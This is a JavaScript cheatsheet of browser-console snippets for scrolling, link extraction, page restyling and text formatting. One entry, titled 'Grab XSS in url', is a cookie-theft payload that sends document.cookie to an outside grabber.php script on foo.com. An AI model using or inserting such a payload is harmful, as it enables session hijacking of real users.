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javascript Cheatsheet

javaScript, often abbreviated as JS, is a programming language that is one of the core technologies of the World Wide Web, alongside HTML and CSS. As of 2022, 98% of websites use JavaScript on the client side for webpage behavior, often incorporating third-party libraries.

console.log('Hi there!');

Autoscroll entire page

var scrollInterval = setInterval(function() { 
    document.documentElement.scrollTop = document.documentElement.scrollHeight;
}, 50);

Extract all urls from a website and open a new tab with the output

var x = document.querySelectorAll("a");
var myarray = []
for (var i=0; i<x.length; i++){
var nametext = x[i].textContent;
var cleantext = nametext.replace(/\s+/g, ' ').trim();
var cleanlink = x[i].href;
myarray.push([cleantext,cleanlink]);
};
function make_table() {
    var table = '<table><thead><th>Name</th><th>Links</th></thead><tbody>';
   for (var i=0; i<myarray.length; i++) {
            table += '<tr><td>'+ myarray[i][0] + '</td><td>'+myarray[i][1]+'</td></tr>';
    };

    var w = window.open("");
w.document.write(table); 
}

make_table()

Extract all urls in console

var urls = document.getElementsByTagName('a');
for (url in urls) {
    console.log ( urls[url].href );
}

Change colors to black/green

var allDivs = document.querySelectorAll('div');

for(var i = 0; i < allDivs.length; i++){
  allDivs[i].style['background-color'] = 'black';
  allDivs[i].style['color'] = 'green';
  allDivs[i].style['font-family'] = 'Monospace';
}

Grab XSS in url

document.location='https://foo.com/XSS/grabber.php?c='+document.cookie

Rotate website in 180 degrees within 3s

setTimeout(function(){
 document.onmousemove = document.onkeypress = 
 function(){
     document.body.style['transition'] = 'transform 3s';
     document.body.style['transform'] = 'rotate(180deg)';
 }
}, 5000);

Read text with newlines

var text = this.responseText;
var lines = text.split("\n");

var formattedText = "";

for (var i = 0; i < lines.length; i++) {
  formattedText += lines[i] + "<br>";
}

Add a prefix at begin of every new line

var text = this.responseText;
var lines = text.split("\n");

var formattedText = ""; 

for (var i = 0; i < lines.length; i++) {
  formattedText += "Prefix: " + lines[i] + "<br>"; 
}

document.getElementById("demo").innerHTML = formattedText;